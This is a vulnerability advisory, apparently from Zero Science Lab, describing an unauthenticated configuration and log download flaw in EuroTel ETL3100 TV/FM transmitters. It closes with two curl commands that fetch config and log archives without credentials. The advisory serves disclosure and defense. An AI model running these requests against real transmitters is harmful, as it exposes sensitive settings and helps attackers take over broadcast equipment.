EuroTel ETL3100 Transmitter Unauthenticated Config/Log Download Vulnerability

Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L
Product web page: https://www.eurotel.it | https://www.siel.fm
Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) 
                  v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter)


Summary: RF Technology For Television Broadcasting Applications.
The Series ETL3100 Radio Transmitter provides all the necessary
features defined by the FM and DAB standards. Two bands are provided
to easily complain with analog and digital DAB standard. The Series
ETL3100 Television Transmitter provides all the necessary features
defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as
well as the analog TV standards. Three band are provided to easily
complain with all standard channels, and switch softly from analog-TV
'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission.

Desc: The TV and FM transmitter suffers from an unauthenticated
configuration and log download vulnerability. This will enable
the attacker to disclose sensitive information and help him in
authentication bypass, privilege escalation and full system access.

Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3)
           lighttpd/1.4.26
           PHP/5.4.3
           Xilinx Virtex Machine


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5784
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5784.php


29.04.2023

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$ curl http://192.168.2.166/cfg_download.php -o config.tgz
$ curl http://192.168.2.166/exciter/log_download.php -o log.tar.gz